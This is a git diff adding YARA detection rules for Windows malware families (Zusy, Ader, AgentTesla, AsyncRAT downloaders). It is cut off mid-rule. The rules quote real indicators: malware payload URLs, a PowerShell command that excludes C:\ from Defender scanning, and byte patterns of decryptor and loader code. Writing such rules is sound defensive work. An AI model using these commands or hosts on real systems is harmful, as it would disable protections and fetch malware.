"Trojan:Win64/Zusy.EM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 00 " @@ -54,7 +65,7 @@ rule Trojan_Win64_Zusy_EM_MTB_4{ ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1) >=6 } -rule Trojan_Win64_Zusy_EM_MTB_5{ +rule Trojan_Win64_Zusy_EM_MTB_6{ meta: description = "Trojan:Win64/Zusy.EM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 00 " diff --git a/Trojan/Win64/Zusy/Trojan_Win64_Zusy_EN_MTB.yar b/Trojan/Win64/Zusy/Trojan_Win64_Zusy_EN_MTB.yar new file mode 100644 index 0000000000..b00bad3433 --- /dev/null +++ b/Trojan/Win64/Zusy/Trojan_Win64_Zusy_EN_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_Zusy_EN_MTB{ + meta: + description = "Trojan:Win64/Zusy.EN!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_01_0 = {47 00 61 00 6d 00 65 00 20 00 52 00 65 00 70 00 61 00 63 00 6b 00 20 00 49 00 6e 00 73 00 74 00 61 00 6c 00 6c 00 } //1 Game Repack Install + $a_01_1 = {8e 39 44 b9 2a 50 47 b8 8e 39 b8 b8 2a 50 47 b8 2b 50 d0 b8 2a 50 47 b8 8e 39 45 b9 2a 50 47 b8 52 69 63 68 2b 50 47 b8 } //1 + $a_01_2 = {2e 74 68 65 6d 69 64 61 00 e0 79 00 00 60 15 00 00 00 00 00 00 b2 0c } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win64/Zusy/Trojan_Win64_Zusy_GF_MTB.yar b/Trojan/Win64/Zusy/Trojan_Win64_Zusy_GF_MTB.yar new file mode 100644 index 0000000000..424f7abc02 --- /dev/null +++ b/Trojan/Win64/Zusy/Trojan_Win64_Zusy_GF_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Zusy_GF_MTB{ + meta: + description = "Trojan:Win64/Zusy.GF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {44 8b c1 4d 85 c9 74 22 66 66 0f 1f 84 00 00 00 00 00 48 8b 08 48 83 c0 08 48 89 0a 48 83 c2 08 49 83 e9 01 75 ec 8b 4c 24 48 41 83 e0 07 74 26 48 2b d0 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/Zusy/Trojan_Win64_Zusy_GZZ_MTB.yar b/Trojan/Win64/Zusy/Trojan_Win64_Zusy_GZZ_MTB.yar index fdd7190e55..2a622cbee8 100644 --- a/Trojan/Win64/Zusy/Trojan_Win64_Zusy_GZZ_MTB.yar +++ b/Trojan/Win64/Zusy/Trojan_Win64_Zusy_GZZ_MTB.yar @@ -1,5 +1,15 @@ rule Trojan_Win64_Zusy_GZZ_MTB{ + meta: + description = "Trojan:Win64/Zusy.GZZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {48 ff c0 48 31 d0 48 c7 c2 ?? ?? ?? ?? 48 31 c0 48 89 05 ?? ?? ?? ?? 4c 01 35 ?? ?? ?? ?? 48 89 f8 50 8f 05 ?? ?? ?? ?? 48 83 f0 ?? 48 31 d0 4c 89 e0 50 8f 05 } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} +rule Trojan_Win64_Zusy_GZZ_MTB_2{ meta: description = "Trojan:Win64/Zusy.GZZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 00 " diff --git a/Trojan/Win64/Zusy/Trojan_Win64_Zusy_HMZ_MTB.yar b/Trojan/Win64/Zusy/Trojan_Win64_Zusy_HMZ_MTB.yar new file mode 100644 index 0000000000..78033fe013 --- /dev/null +++ b/Trojan/Win64/Zusy/Trojan_Win64_Zusy_HMZ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Zusy_HMZ_MTB{ + meta: + description = "Trojan:Win64/Zusy.HMZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {01 c1 0f b6 c1 8a 84 04 ?? ?? ?? ?? 48 63 8c 24 84 00 00 00 48 8b 54 24 48 30 04 0a 8b 84 24 84 00 00 00 83 c0 01 89 44 24 70 8b 05 ?? ?? ?? ?? 8d 48 ff 0f af c8 f6 c1 01 b8 17 f9 ce f2 b9 47 a4 cc 08 0f 44 c1 83 3d a6 5a 09 00 0a 0f 4c c1 44 8b 74 24 44 4d 89 ef e9 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/Zusy/Trojan_Win64_Zusy_KAB_MTB.yar b/Trojan/Win64/Zusy/Trojan_Win64_Zusy_KAB_MTB.yar new file mode 100644 index 0000000000..a94934447a --- /dev/null +++ b/Trojan/Win64/Zusy/Trojan_Win64_Zusy_KAB_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_Zusy_KAB_MTB{ + meta: + description = "Trojan:Win64/Zusy.KAB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,19 00 19 00 03 00 00 " + + strings : + $a_01_0 = {0f b6 c1 41 33 c0 69 c8 93 01 00 01 8b c1 c1 e8 0d 33 c1 69 c8 95 e9 d1 5b 44 8b c1 41 c1 e8 0f 44 33 c1 45 84 c9 75 } //10 + $a_01_1 = {b8 4f ec c4 4e 41 f7 e8 c1 fa 04 8b c2 c1 e8 1f 03 d0 0f b7 c2 6b c8 34 41 0f b7 c0 66 2b c1 66 83 c0 38 66 41 31 01 41 ff c0 4d 8d 49 02 41 81 f8 } //8 + $a_01_2 = {66 2b c1 66 83 c0 38 66 41 31 01 41 ff c0 4d 8d 49 02 41 81 f8 } //7 + condition: + ((#a_01_0 & 1)*10+(#a_01_1 & 1)*8+(#a_01_2 & 1)*7) >=25 + +} \ No newline at end of file diff --git a/Trojan/Win64/Zusy/Trojan_Win64_Zusy_KK_MTB.yar b/Trojan/Win64/Zusy/Trojan_Win64_Zusy_KK_MTB.yar new file mode 100644 index 0000000000..84cce41e8f --- /dev/null +++ b/Trojan/Win64/Zusy/Trojan_Win64_Zusy_KK_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_Zusy_KK_MTB{ + meta: + description = "Trojan:Win64/Zusy.KK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 03 00 00 " + + strings : + $a_01_0 = {f3 43 0f 6f 04 08 0f 57 c2 f3 43 0f 7f 04 08 41 8d 42 f0 f3 42 0f 6f 04 08 66 0f 6f ca 0f 57 c8 f3 42 0f 7f 0c 08 41 8b c2 f3 42 0f 6f 04 08 0f 57 c2 f3 42 0f 7f 04 08 41 8d 42 10 f3 42 0f 6f 04 08 66 0f 6f ca 0f 57 c8 f3 42 0f 7f 0c 08 41 83 c0 40 41 83 c2 40 45 3b c3 } //6 + $a_01_1 = {41 8d 4a 01 45 8b ca 44 0f b6 04 19 42 0f b6 0c 13 41 80 e8 41 fe c9 49 d1 e9 c0 e1 04 41 83 c2 02 44 0a c1 45 88 04 01 8b 0f 44 3b d1 72 d1 } //10 + $a_01_2 = {54 75 6f 6e 69 41 67 65 6e 74 2e 64 6c 6c } //4 TuoniAgent.dll + condition: + ((#a_01_0 & 1)*6+(#a_01_1 & 1)*10+(#a_01_2 & 1)*4) >=20 + +} \ No newline at end of file diff --git a/Trojan/Win64/Zusy/Trojan_Win64_Zusy_LMG_MTB.yar b/Trojan/Win64/Zusy/Trojan_Win64_Zusy_LMG_MTB.yar new file mode 100644 index 0000000000..0e83dcf90e --- /dev/null +++ b/Trojan/Win64/Zusy/Trojan_Win64_Zusy_LMG_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_Zusy_LMG_MTB{ + meta: + description = "Trojan:Win64/Zusy.LMG!MTB,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 03 00 00 " + + strings : + $a_01_0 = {48 8b 44 24 20 48 63 48 04 48 8b 44 0c 68 48 f7 d8 1b d2 f7 d2 83 e2 04 0b 54 0c 30 83 e2 15 83 ca 02 89 54 0c 30 23 54 0c 34 } //15 + $a_03_1 = {8b c8 c1 e9 1e 33 c8 69 c1 65 89 07 6c 03 c2 89 44 95 14 ?? ?? ?? 49 3b d0 72 e5 44 89 45 10 [0-04] 48 8d 45 10 } //10 + $a_03_2 = {f2 0f 59 05 ?? ?? ?? ?? 0f 57 c9 48 85 c0 78 ?? f2 48 0f 2a c8 eb ?? 48 8b c8 48 d1 e9 83 e0 01 48 0b c8 f2 48 0f 2a c9 f2 0f 58 c9 } //5 + condition: + ((#a_01_0 & 1)*15+(#a_03_1 & 1)*10+(#a_03_2 & 1)*5) >=30 + +} \ No newline at end of file diff --git a/Trojan/Win64/Zusy/Trojan_Win64_Zusy_MR_MTB.yar b/Trojan/Win64/Zusy/Trojan_Win64_Zusy_MR_MTB.yar new file mode 100644 index 0000000000..c0f06ef684 --- /dev/null +++ b/Trojan/Win64/Zusy/Trojan_Win64_Zusy_MR_MTB.yar @@ -0,0 +1,35 @@ + +rule Trojan_Win64_Zusy_MR_MTB{ + meta: + description = "Trojan:Win64/Zusy.MR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,32 00 32 00 03 00 00 " + + strings : + $a_01_0 = {30 01 48 8d 49 01 ff c0 3b c7 7c } //10 + $a_01_1 = {44 8b c0 b8 4f ec c4 4e 41 f7 e8 c1 fa 03 8b ca c1 e9 1f 03 d1 6b ca 1a 44 2b c1 49 63 c0 0f b6 04 38 88 44 1c 30 48 ff c3 48 83 fb 08 } //30 + $a_01_2 = {45 79 65 4c 6f 76 65 4d 79 4d 75 74 65 58 } //10 EyeLoveMyMuteX + condition: + ((#a_01_0 & 1)*10+(#a_01_1 & 1)*30+(#a_01_2 & 1)*10) >=50 + +} +rule Trojan_Win64_Zusy_MR_MTB_2{ + meta: + description = "Trojan:Win64/Zusy.MR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 02 00 00 " + + strings : + $a_01_0 = {c6 84 24 ad 01 00 00 d3 c6 84 24 ae 01 00 00 67 c6 84 24 af 01 00 00 5b c7 84 24 b0 01 00 00 cf be 3a 46 } //10 + $a_03_1 = {41 8b cb 41 8b c3 48 c1 e9 10 25 ff 00 04 00 83 e1 06 89 ?? ?? 72 05 00 48 81 c9 29 00 00 01 48 f7 d1 ?? ?? 0d 80 4f 05 00 48 ?? ?? 79 4f 05 00 3c 01 } //5 + condition: + ((#a_01_0 & 1)*10+(#a_03_1 & 1)*5) >=15 + +} +rule Trojan_Win64_Zusy_MR_MTB_3{ + meta: + description = "Trojan:Win64/Zusy.MR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 02 00 00 " + + strings : + $a_01_0 = {48 8b 15 ac 1e 0d 00 8b c2 83 e0 3f 48 8b da 48 33 1d 85 49 0d 00 8b c8 48 d3 cb b9 40 00 00 00 2b c8 48 d3 cf 48 33 fa 48 89 3d 6c 49 0d 00 33 c9 } //5 + $a_01_1 = {4c 8b 15 cd 13 0d 00 41 8b ca 49 8b f2 48 33 32 83 e1 3f 4d 8b ca 48 d3 ce 4c 33 4a 08 49 8b da 48 33 5a 10 49 d3 c9 48 d3 cb 4c 3b cb } //10 + condition: + ((#a_01_0 & 1)*5+(#a_01_1 & 1)*10) >=15 + +} \ No newline at end of file diff --git a/Trojan/Win64/Zusy/Trojan_Win64_Zusy_NIT_MTB.yar b/Trojan/Win64/Zusy/Trojan_Win64_Zusy_NIT_MTB.yar new file mode 100644 index 0000000000..d0c9493b3c --- /dev/null +++ b/Trojan/Win64/Zusy/Trojan_Win64_Zusy_NIT_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_Zusy_NIT_MTB{ + meta: + description = "Trojan:Win64/Zusy.NIT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_03_0 = {48 8d ac 24 ?? ?? ff ff 48 81 ec ?? ?? ?? ?? 48 8b 05 43 12 02 00 48 33 c4 48 89 85 ?? ?? ?? ?? 4d 8b e0 48 8b f9 48 bb ?? ?? ?? ?? ?? ?? ?? ?? 48 3b d1 74 22 8a 02 2c 2f 3c 2d 77 0a 48 0f be c0 48 0f a3 c3 72 10 48 8b cf e8 d2 ?? ?? ?? 48 8b d0 48 3b c7 75 de } //2 + $a_03_1 = {b8 40 41 00 00 66 c1 e3 07 b9 80 00 00 00 66 f7 d3 66 23 d9 66 0b d8 4d 85 c0 74 5f 8d 51 ae 49 8b c8 e8 17 1f 01 00 48 8b f0 48 85 c0 74 4c 48 8d 15 ?? ?? ?? ?? 48 8b c8 e8 1c 78 00 00 85 c0 74 3c 48 8d 15 ?? ?? ?? ?? 48 8b ce e8 09 78 00 00 85 c0 74 29 48 8d 15 ?? ?? ?? ?? 48 8b ce e8 f6 77 00 00 85 c0 74 16 48 8d 15 ?? ?? ?? ?? 48 8b ce e8 e3 77 00 00 85 c0 74 03 40 8a fd 48 8b 6c 24 38 0f b7 c3 48 8b 74 24 40 66 83 c8 40 40 84 ff } //3 + condition: + ((#a_03_0 & 1)*2+(#a_03_1 & 1)*3) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win64/Zusy/Trojan_Win64_Zusy_NS_MTB.yar b/Trojan/Win64/Zusy/Trojan_Win64_Zusy_NS_MTB.yar new file mode 100644 index 0000000000..f47aa9712e --- /dev/null +++ b/Trojan/Win64/Zusy/Trojan_Win64_Zusy_NS_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_Zusy_NS_MTB{ + meta: + description = "Trojan:Win64/Zusy.NS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 00 " + + strings : + $a_03_0 = {48 8d 0d 81 2e 00 00 ff 15 c3 2a 00 00 48 8d 3d a0 2e 00 00 48 8b d7 48 8d 4d ?? e8 30 02 00 00 } //3 + $a_03_1 = {45 33 c9 48 8d 15 56 2f 00 00 33 c9 ff 15 46 2b 00 00 48 8d 4d ?? e8 65 00 00 00 4c 8b c0 } //1 + condition: + ((#a_03_0 & 1)*3+(#a_03_1 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win64/Zusy/Trojan_Win64_Zusy_SXC_MTB.yar b/Trojan/Win64/Zusy/Trojan_Win64_Zusy_SXC_MTB.yar new file mode 100644 index 0000000000..ac266fd0cf --- /dev/null +++ b/Trojan/Win64/Zusy/Trojan_Win64_Zusy_SXC_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_Zusy_SXC_MTB{ + meta: + description = "Trojan:Win64/Zusy.SXC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_03_0 = {41 b9 00 00 00 00 49 89 d0 48 89 c2 b9 00 00 00 00 48 8b 05 29 8c 01 00 ff d0 b9 f4 01 00 00 48 8b 05 db 89 01 00 ff d0 48 8d 85 90 00 48 89 c1 48 8b 05 28 89 01 00 ff d0 } //3 + $a_01_1 = {48 8d 85 c0 01 00 00 41 b8 00 00 00 00 48 89 c1 48 8b 05 46 8e 01 00 ff d0 48 8d 45 b0 ba 06 00 00 00 48 89 c1 48 8b 05 f1 8e 01 00 ff d0 } //2 + condition: + ((#a_03_0 & 1)*3+(#a_01_1 & 1)*2) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/Zusy/Trojan_Win64_Zusy_SXG_MTB.yar b/Trojan/Win64/Zusy/Trojan_Win64_Zusy_SXG_MTB.yar new file mode 100644 index 0000000000..e2f5b97b90 --- /dev/null +++ b/Trojan/Win64/Zusy/Trojan_Win64_Zusy_SXG_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_Zusy_SXG_MTB{ + meta: + description = "Trojan:Win64/Zusy.SXG!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 03 00 00 " + + strings : + $a_03_0 = {48 63 47 3c 48 8b 4c 24 58 48 03 c3 4c 89 64 24 20 44 8b 84 38 ?? ?? ?? ?? 8b 94 38 ?? ?? ?? ?? 4c 03 c7 44 8b 8c 38 ?? ?? ?? ?? 49 03 d6 41 ff d7 0f b7 45 06 ff c6 48 83 c3 28 3b f0 7c } //5 + $a_03_1 = {48 89 5c 24 20 41 ff d7 8b 45 28 48 8d 54 24 ?? 48 8b 4c 24 ?? 49 03 c6 48 89 84 24 ?? ?? ?? ?? 41 ff d5 48 8b 4c 24 ?? ff 54 24 } //3 + $a_01_2 = {f3 0f 7f 45 af 66 44 89 6d 9f 48 8d 55 e7 4c 8b 55 e7 4c 8b 5d ff 49 83 fb 10 49 0f 43 d2 48 c7 c3 ff ff ff ff 4c 8b 4d f7 4d 85 c9 74 2f } //2 + condition: + ((#a_03_0 & 1)*5+(#a_03_1 & 1)*3+(#a_01_2 & 1)*2) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win64/Zusy/Trojan_Win64_Zusy_SX_MTB.yar b/Trojan/Win64/Zusy/Trojan_Win64_Zusy_SX_MTB.yar new file mode 100644 index 0000000000..23d0268b62 --- /dev/null +++ b/Trojan/Win64/Zusy/Trojan_Win64_Zusy_SX_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_Zusy_SX_MTB{ + meta: + description = "Trojan:Win64/Zusy.SX!MTB,SIGNATURE_TYPE_PEHSTR_EXT,23 00 23 00 03 00 00 " + + strings : + $a_01_0 = {48 c7 44 24 68 07 00 00 00 4c 89 74 24 60 66 44 89 74 24 50 4c 8d 45 60 48 83 7d 78 08 4c 0f 43 45 60 33 d2 b9 01 00 1f 00 } //15 + $a_03_1 = {48 89 03 48 83 f8 ff 74 54 33 d2 48 8b c8 ff 15 ?? ?? ?? ?? 89 06 ff c8 83 f8 fd 77 40 48 8b 0b 45 33 c9 48 89 6c 24 28 33 d2 89 6c 24 20 45 8d 41 02 ff 15 ?? ?? ?? ?? 48 89 07 48 85 c0 74 1d 45 33 c9 48 89 6c 24 20 45 33 c0 48 8b c8 41 8d 51 04 } //10 + $a_01_2 = {48 63 4f 3c b8 0b 02 00 00 44 8b 5c 0f 50 48 89 5c 24 40 48 8d 1c 0f 48 89 74 24 48 0f b7 73 06 4c 89 7c 24 20 } //10 + condition: + ((#a_01_0 & 1)*15+(#a_03_1 & 1)*10+(#a_01_2 & 1)*10) >=35 + +} \ No newline at end of file diff --git a/Trojan/Win64/Zusy/Trojan_Win64_Zusy_UDP_MTB.yar b/Trojan/Win64/Zusy/Trojan_Win64_Zusy_UDP_MTB.yar new file mode 100644 index 0000000000..3418142114 --- /dev/null +++ b/Trojan/Win64/Zusy/Trojan_Win64_Zusy_UDP_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Zusy_UDP_MTB{ + meta: + description = "Trojan:Win64/Zusy.UDP!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {41 55 51 9c 49 bd 8b ca 09 38 80 26 3c e1 e8 28 f6 fd ff cf } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/TrojanDownloader/BAT/Ader/TrojanDownloader_BAT_Ader_ADXA_MTB.yar b/TrojanDownloader/BAT/Ader/TrojanDownloader_BAT_Ader_ADXA_MTB.yar new file mode 100644 index 0000000000..1a7ac829a2 --- /dev/null +++ b/TrojanDownloader/BAT/Ader/TrojanDownloader_BAT_Ader_ADXA_MTB.yar @@ -0,0 +1,11 @@ + +rule TrojanDownloader_BAT_Ader_ADXA_MTB{ + meta: + description = "TrojanDownloader:BAT/Ader.ADXA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {08 91 02 08 07 5d 6f ?? 00 00 0a 61 d2 9c 16 2d e9 1a 2c e6 08 17 58 0c 08 03 8e 69 32 dc 06 2a 03 2b c0 0a 2b c6 02 2b c5 6f ?? 00 00 0a 2b c0 0b 2b bf 0c 2b bf 06 2b c3 08 2b c2 03 2b c1 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/TrojanDownloader/BAT/Ader/TrojanDownloader_BAT_Ader_AQXA_MTB.yar b/TrojanDownloader/BAT/Ader/TrojanDownloader_BAT_Ader_AQXA_MTB.yar new file mode 100644 index 0000000000..6a607e92f1 --- /dev/null +++ b/TrojanDownloader/BAT/Ader/TrojanDownloader_BAT_Ader_AQXA_MTB.yar @@ -0,0 +1,13 @@ + +rule TrojanDownloader_BAT_Ader_AQXA_MTB{ + meta: + description = "TrojanDownloader:BAT/Ader.AQXA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 00 " + + strings : + $a_03_0 = {72 1c 01 00 70 28 ?? 00 00 0a 0a 72 4e 01 00 70 28 ?? 00 00 0a 0b 73 ?? 00 00 0a 0c 08 06 6f ?? 00 00 0a 08 07 6f ?? 00 00 0a 08 6f ?? 00 00 0a 02 16 02 8e 69 6f ?? 00 00 0a 0d dd } //4 + $a_01_1 = {46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 } //1 FromBase64String + $a_01_2 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 } //1 CreateDecryptor + condition: + ((#a_03_0 & 1)*4+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/TrojanDownloader/BAT/Ader/TrojanDownloader_BAT_Ader_ASQA_MTB.yar b/TrojanDownloader/BAT/Ader/TrojanDownloader_BAT_Ader_ASQA_MTB.yar new file mode 100644 index 0000000000..2cf1825b1e --- /dev/null +++ b/TrojanDownloader/BAT/Ader/TrojanDownloader_BAT_Ader_ASQA_MTB.yar @@ -0,0 +1,13 @@ + +rule TrojanDownloader_BAT_Ader_ASQA_MTB{ + meta: + description = "TrojanDownloader:BAT/Ader.ASQA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 03 00 00 " + + strings : + $a_03_0 = {0a 03 16 03 8e 69 6f ?? 00 00 0a 13 01 20 01 00 00 00 7e ?? 02 00 04 7b ?? 02 00 04 3a ?? ff ff ff 26 20 01 00 00 00 38 ?? ff ff ff 11 03 72 93 00 00 70 28 ?? 00 00 0a 6f ?? 00 00 0a 20 02 00 00 00 7e ?? 02 00 04 7b ?? 02 00 04 39 ?? ff ff ff 26 20 01 00 00 00 38 } //5 + $a_01_1 = {46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 } //1 FromBase64String + $a_01_2 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 } //1 CreateDecryptor + condition: + ((#a_03_0 & 1)*5+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/TrojanDownloader/BAT/AgentTesla/TrojanDownloader_BAT_AgentTesla_DIG_MTB.yar b/TrojanDownloader/BAT/AgentTesla/TrojanDownloader_BAT_AgentTesla_DIG_MTB.yar new file mode 100644 index 0000000000..12c14919a1 --- /dev/null +++ b/TrojanDownloader/BAT/AgentTesla/TrojanDownloader_BAT_AgentTesla_DIG_MTB.yar @@ -0,0 +1,15 @@ + +rule TrojanDownloader_BAT_AgentTesla_DIG_MTB{ + meta: + description = "TrojanDownloader:BAT/AgentTesla.DIG!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 05 00 00 " + + strings : + $a_81_0 = {65 76 58 43 72 77 62 2f 63 61 30 6b 4f 35 53 4e 33 6c 77 6a 62 77 3d 3d } //1 evXCrwb/ca0kO5SN3lwjbw== + $a_81_1 = {58 50 54 63 41 37 4c 47 66 35 52 36 4a 62 65 73 68 38 2e 6a 49 75 4e 6b 30 6c 31 50 77 59 79 76 32 62 45 46 64 } //1 XPTcA7LGf5R6Jbesh8.jIuNk0l1PwYyv2bEFd + $a_81_2 = {28 4d 61 63 69 6e 74 6f 73 68 3b 20 49 6e 74 65 6c 20 4d 61 63 20 4f 53 20 58 20 31 33 5f 33 5f 31 29 } //1 (Macintosh; Intel Mac OS X 13_3_1) + $a_81_3 = {68 74 74 70 73 3a 2f 2f 66 69 6c 65 73 2e 63 61 74 62 6f 78 2e 6d 6f 65 2f 6a 74 79 36 61 32 2e 77 61 76 } //2 https://files.catbox.moe/jty6a2.wav + $a_81_4 = {4c 65 73 77 76 62 65 62 64 2e 65 78 65 } //1 Leswvbebd.exe + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*2+(#a_81_4 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/TrojanDownloader/BAT/AgentTesla/TrojanDownloader_BAT_AgentTesla_PMZ_MTB.yar b/TrojanDownloader/BAT/AgentTesla/TrojanDownloader_BAT_AgentTesla_PMZ_MTB.yar new file mode 100644 index 0000000000..ca7e6893d1 --- /dev/null +++ b/TrojanDownloader/BAT/AgentTesla/TrojanDownloader_BAT_AgentTesla_PMZ_MTB.yar @@ -0,0 +1,11 @@ + +rule TrojanDownloader_BAT_AgentTesla_PMZ_MTB{ + meta: + description = "TrojanDownloader:BAT/AgentTesla.PMZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {06 3a 1a 00 00 00 73 04 00 00 0a 72 01 00 00 70 73 05 00 00 0a 28 ?? 00 00 0a 6f ?? 00 00 0a 0a 06 39 0a 00 00 00 06 16 06 8e 69 28 ?? 00 00 0a dd 13 00 00 00 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/TrojanDownloader/BAT/AsyncRAT/TrojanDownloader_BAT_AsyncRAT_ELM_MTB.yar b/TrojanDownloader/BAT/AsyncRAT/TrojanDownloader_BAT_AsyncRAT_ELM_MTB.yar new file mode 100644 index 0000000000..d2beb616ed --- /dev/null +++ b/TrojanDownloader/BAT/AsyncRAT/TrojanDownloader_BAT_AsyncRAT_ELM_MTB.yar @@ -0,0 +1,14 @@ + +rule TrojanDownloader_BAT_AsyncRAT_ELM_MTB{ + meta: + description = "TrojanDownloader:BAT/AsyncRAT.ELM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 04 00 00 " + + strings : + $a_81_0 = {42 6f 6f 6b 69 6e 67 73 5f 30 35 36 5f 30 37 2e 65 78 65 } //1 Bookings_056_07.exe + $a_81_1 = {48 65 6c 70 66 65 65 6c 20 49 6e 63 } //2 Helpfeel Inc + $a_81_2 = {47 79 61 7a 6f 3a 20 53 63 72 65 65 6e 20 55 70 6c 6f 61 64 65 72 } //1 Gyazo: Screen Uploader + $a_81_3 = {68 74 74 70 3a 2f 2f 31 34 34 2e 31 37 32 2e 31 31 36 2e 31 32 31 2f 75 69 75 2f 41 77 75 6f 6c 61 76 65 65 2e 6d 70 33 } //2 http://144.172.116.121/uiu/Awuolavee.mp3 + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*2+(#a_81_2 & 1)*1+(#a_81_3 & 1)*2) >=6 + +} \ No newline at end of file diff --git a/TrojanDownloader/BAT/AsyncRAT/TrojanDownloader_BAT_AsyncRat_CC_MTB.yar b/TrojanDownloader/BAT/AsyncRAT/TrojanDownloader_BAT_AsyncRat_CC_MTB.yar new file mode 100644 index 0000000000..d0998f9195 --- /dev/null +++ b/TrojanDownloader/BAT/AsyncRAT/TrojanDownloader_BAT_AsyncRat_CC_MTB.yar @@ -0,0 +1,17 @@ + +rule TrojanDownloader_BAT_AsyncRat_CC_MTB{ + meta: + description = "TrojanDownloader:BAT/AsyncRat.CC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 00 " + + strings : + $a_01_0 = {24 00 45 00 72 00 72 00 6f 00 72 00 41 00 63 00 74 00 69 00 6f 00 6e 00 50 00 72 00 65 00 66 00 65 00 72 00 65 00 6e 00 63 00 65 00 20 00 3d 00 20 00 22 00 53 00 69 00 6c 00 65 00 6e 00 74 00 6c 00 79 00 43 00 6f 00 6e 00 74 00 69 00 6e 00 75 00 65 00 22 00 } //2 $ErrorActionPreference = "SilentlyContinue" + $a_01_1 = {41 00 64 00 64 00 2d 00 4d 00 70 00 50 00 72 00 65 00 66 00 65 00 72 00 65 00 6e 00 63 00 65 00 20 00 2d 00 45 00 78 00 63 00 6c 00 75 00 73 00 69 00 6f 00 6e 00 50 00 61 00 74 00 68 00 20 00 22 00 43 00 3a 00 5c 00 22 00 } //2 Add-MpPreference -ExclusionPath "C:\" + $a_01_2 = {5b 00 53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 54 00 65 00 78 00 74 00 2e 00 45 00 6e 00 63 00 6f 00 64 00 69 00 6e 00 67 00 5d 00 3a 00 3a 00 55 00 54 00 46 00 38 00 2e 00 47 00 65 00 74 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 5b 00 53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 43 00 6f 00 6e 00 76 00 65 00 72 00 74 00 5d 00 3a 00 3a 00 46 00 72 00 6f 00 6d 00 42 00 61 00 73 00 65 00 36 00 34 00 53 00 74 00 72 00 69 00 6e 00 67 00 } //1 [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String + $a_01_3 = {4e 00 65 00 77 00 2d 00 4f 00 62 00 6a 00 65 00 63 00 74 00 20 00 53 00 79 00 73 00 74 